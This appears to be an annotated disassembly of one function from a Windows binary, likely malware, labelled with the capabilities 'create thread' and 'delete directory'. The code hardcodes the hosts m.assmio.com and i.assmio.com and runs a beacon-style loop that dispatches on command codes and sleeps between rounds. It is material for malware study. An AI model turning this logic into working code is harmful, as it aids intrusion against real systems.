Function at 0x403dcd
Capabilities:
Create thread
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
mov esi, str.WINWORD
push edi
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x220]
push 0x208
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00402ad6
mov edi, str.m.assmio.com
push 0x408204
push edi
call sub.MSVCRT.dll_strcmp
add esp, 0x14
test eax, eax
jne 0x403e2c
push str.i.assmio.com
push edi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [0x407de0]
call fcn.004026af
pop ecx
mov dword [0x407bc8], eax
mov dword [ebp - 0xc], 1
xor esi, esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
jmp 0x403e53
mov edi, str.m.assmio.com
mov eax, dword [0x407ddc]
cmp esi, ebx
mov dword [ebp - 4], eax
jne 0x403eff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00403d81
push 0x514
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0xc
cmp eax, ebx
je 0x403e8c
mov ecx, eax
call fcn.00403d38
mov esi, eax
jmp 0x403e8e
xor esi, esi
or dword [esi + 0x108], 0xffffffff
mov dword [esi], ebx
mov eax, dword [ebp - 8]
sub eax, ebx
je 0x403ee4
dec eax
je 0x403ecd
dec eax
je 0x403eb6
dec eax
je 0x403eb3
dec eax
je 0x403eb0
dec eax
jne 0x403eff
push edi
jmp 0x403ebb
push edi
jmp 0x403ed2
push edi
jmp 0x403ee9
push str.i.assmio.com
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd8]
pop ecx
pop ecx
jmp 0x403ef9
push str.i.assmio.com
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd4]
pop ecx
pop ecx
jmp 0x403ef9
push str.i.assmio.com
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd0]
pop ecx
pop ecx
mov dword [esi + 0x104], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push esi
push 0x4037cb
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x10c]
cmp eax, ebx
je 0x403fa6
sub eax, 0x3ec
je 0x403fc6
dec eax
je 0x403f92
dec eax
je 0x403f5f
dec eax
jne 0x403fa6
push esi
call fcn.00405a0a
xor esi, esi
mov dword [ebp - 0xc], ebx
mov dword [esp], str.WINWORD
call fcn.00403256
pop ecx
mov dword [ebp - 4], ebx
jmp 0x403fa8
cmp dword [esi + 0x510], 0x104
mov dword [ebp - 4], 5
jne 0x403fa8
lea edi, [esi + 0x110]
lea eax, [esi + 4]
push edi
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [edi + 0x100]
pop ecx
pop ecx
mov dword [esi + 0x104], eax
jmp 0x403fa8
push esi
mov dword [ebp - 4], 5
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call fcn.00405a0a
pop ecx
xor esi, esi
mov eax, dword [ebp - 4]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xc], ebx
jne 0x403e4e
pop edi
pop esi
pop ebx
leave
ret
cmp dword [esi + 0x510], 4
jne 0x403fa8
lea eax, [esi + 0x110]
push 4
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x403ff4
mov dword [ebp - 4], 5
jmp 0x403fa8
imul eax, eax, 0x3c
mov dword [ebp - 4], eax
jmp 0x403fa8